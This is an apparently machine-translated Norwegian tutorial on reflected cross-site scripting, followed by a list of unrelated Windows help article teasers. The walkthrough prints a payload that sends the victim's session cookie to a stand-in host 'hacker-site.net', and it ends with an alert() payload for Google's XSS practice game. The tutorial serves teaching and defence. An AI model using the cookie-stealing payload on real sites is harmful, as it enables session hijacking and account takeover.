Web7: XSS-utnyttelse – Del 1: Reflektert XSS

Web7: XSS-utnyttelse – Del 1: Reflektert XSS

Hva er Cross-Site Scripting?

Cross-Site Scripting (XSS) er en av de mest populære angrepsteknikkene i dag, kjent som Godfather of Attack, og har i mange år vært oppført som den farligste angrepsteknikken for applikasjoner.

Ikke kall det CSS for korte for å unngå forvirring med Cascading Style Sheet-konseptet HTML. XSS-
teknikk

For å forstå bedre, la oss vurdere følgende eksempel. En nettapplikasjon som tillater utskrift av verdien vi sender inn via URL-en, forutsatt at vi sender inn navnevariabelen Ping-verdien:

Web7: XSS-utnyttelse – Del 1: Reflektert XSS

Alt er bra så langt, la oss se gjennom html-kildekoden:

Web7: XSS-utnyttelse – Del 1: Reflektert XSS

Det som er lett å se er at navneverdien vi skrev inn er satt inn i kildekoden. Så det er mulig at det som er importert også kan settes inn. Problemet blir alvorlig hvis verdien som er angitt ikke er en normal streng som ovenfor, men en potensielt farlig kodebit, noe som dette:

 

Prøv igjen med verdien ovenfor:

Web7: XSS-utnyttelse – Del 1: Reflektert XSS

Fra dette eksemplet kan vi konkludere med to ting. For det første kan navnevariabelen motta en hvilken som helst inngangsverdi og overføre den til serveren for behandling. For det andre kontrollerte ikke serveren denne inngangsverdien før den returnerte den til nettleseren. Dette fører til at javascript-koden settes inn i kildekoden.

XSS er generelt delt inn i 3 hovedtyper: Reflected, Stored og DOM-basert. I denne artikkelen vil jeg hovedsakelig nevne Reflected XSS-teknikken.

Opptil 75 % av XSS-teknikkene er basert på Reflected XSS. Det kalles reflektert fordi i denne typen utnyttelsesscenarioer må hackeren sende offeret en URL som inneholder ondsinnet kode (vanligvis javascript). Offeret trenger bare å be om denne URL-en, og hackeren vil umiddelbart motta et svar som inneholder ønsket resultat (refleksivitet vist her). I tillegg er det også kjent som førsteordens XSS.

Real-life gruvedrift scenario

Det er mange måter å utnytte Reflected XSS-feilen på, en av de mest kjente måtene er å ta over brukerens økt, og dermed få tilgang til data og få rettighetene deres på nettstedet. .

Detaljer er beskrevet i følgende trinn:

Web7: XSS-utnyttelse – Del 1: Reflektert XSS

1. Brukeren logger på nettet og antar at en økt er tildelt:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. På en eller annen måte sender hackeren brukeren URLen:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Anta at example.com er nettstedet offeret besøker, hacker-site.net er nettstedet opprettet av hackeren

3. Offeret får tilgang til URL-en ovenfor

4. Serveren svarer offeret, sammen med dataene i forespørselen (hackerens javascript-kodebit)

5. Offerets nettleser mottar svaret og kjører javascriptet

6. Det faktiske javascriptet som hackeren opprettet er som følger:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Kommandolinjen ovenfor sender i hovedsak en forespørsel til hackerens nettsted med parameteren som brukerinformasjonskapselen:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Fra nettstedet ditt vil hackeren fange opp forespørselen ovenfor og vurdere brukerens økt som overtatt. På dette tidspunktet kan hackeren utgi seg for å være offeret og utøve alle rettigheter på nettstedet som offeret har.

Øve på

Google har opprettet en side for å øve på å utnytte XSS-feil her: https://xss-game.appspot.com

Målet med disse utfordringene er at du må injisere skript for å dukke opp en popup. Den første utfordringen er å illustrere den reflekterte teknikken, utnyttelseskoden er ganske enkel:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Lykke til!


Installer dynamiske skjermer og animerte bakgrunnsbilder på Windows

Installer dynamiske skjermer og animerte bakgrunnsbilder på Windows

I Microsofts Windows Vista-operativsystem tillot DreamScene å sette opp dynamiske bakgrunner for datamaskiner, men åtte år senere er det fortsatt ikke tilgjengelig på Windows 10. Hvorfor har denne skikken representert et tilbakeslag til fortiden gjennom årene, og hva kan vi gjøre for å endre dette?

Hvordan koble nettverket mellom 2 bærbare datamaskiner ved hjelp av en nettverkskabel

Hvordan koble nettverket mellom 2 bærbare datamaskiner ved hjelp av en nettverkskabel

Hvis vi ønsker å koble to bærbare datamaskiner til nettverket, kan vi bruke en nettverkskabel og deretter endre IP-adressene til de to datamaskinene og det er det.

Slik fikser du Du har ikke tillatelse til å lagre på denne plasseringen på Windows

Slik fikser du Du har ikke tillatelse til å lagre på denne plasseringen på Windows

Når Windows viser feilen "Du har ikke tillatelse til å lagre på denne plasseringen", vil dette forhindre deg i å lagre filer i ønskede mapper.

Topp beste gratis og betalte Syslog Server-programvare for Windows

Topp beste gratis og betalte Syslog Server-programvare for Windows

Syslog Server er en viktig del av en IT-administrators arsenal, spesielt når det gjelder å administrere hendelseslogger på et sentralisert sted.

Hva er Error 524 A Timeout Oppstod og hvordan fikse feilen

Hva er Error 524 A Timeout Oppstod og hvordan fikse feilen

Feil 524: En tidsavbrudd oppstod er en Cloudflare-spesifikk HTTP-statuskode som indikerer at tilkoblingen til serveren ble stengt på grunn av et tidsavbrudd.

Hva er feil 0x80070570? Hvordan fikser jeg denne feilen?

Hva er feil 0x80070570? Hvordan fikser jeg denne feilen?

Feilkode 0x80070570 er en vanlig feilmelding på datamaskiner, bærbare datamaskiner og nettbrett som kjører operativsystemet Windows 10. Den vises imidlertid også på datamaskiner som kjører Windows 8.1, Windows 8, Windows 7 eller tidligere.

Instruksjoner for å fikse blåskjerm-feilen SIDEFEIL I IKKE PAGET OMRÅDE eller STOPP 0x00000050

Instruksjoner for å fikse blåskjerm-feilen SIDEFEIL I IKKE PAGET OMRÅDE eller STOPP 0x00000050

Blue screen of death-feil BSOD PAGE_FAULT_IN_NONPAGED_AREA eller STOP 0x00000050 er en feil som ofte oppstår etter installasjon av en maskinvareenhetsdriver, eller etter installasjon eller oppdatering av ny programvare, og i noen tilfeller er årsaken at feilen skyldes en korrupt NTFS-partisjon.

Hva skal du gjøre når du får Video Scheduler Intern Error?

Hva skal du gjøre når du får Video Scheduler Intern Error?

Video Scheduler Intern Error er også en dødelig blåskjermfeil, denne feilen oppstår ofte på Windows 10 og Windows 8.1. Denne artikkelen vil vise deg noen måter å fikse denne feilen på.

Hvordan forhindre at Epic Launcher starter med Windows

Hvordan forhindre at Epic Launcher starter med Windows

For å få Windows 10 til å starte opp raskere og redusere oppstartstiden, nedenfor er trinnene du må følge for å fjerne Epic fra Windows Startup og forhindre at Epic Launcher starter med Windows 10.

3 bedre måter å lagre filer på skrivebordet

3 bedre måter å lagre filer på skrivebordet

Du bør ikke lagre filer på skrivebordet. Det finnes bedre måter å lagre datafiler på og holde skrivebordet ryddig. Den følgende artikkelen vil vise deg mer effektive steder å lagre filer på Windows 10.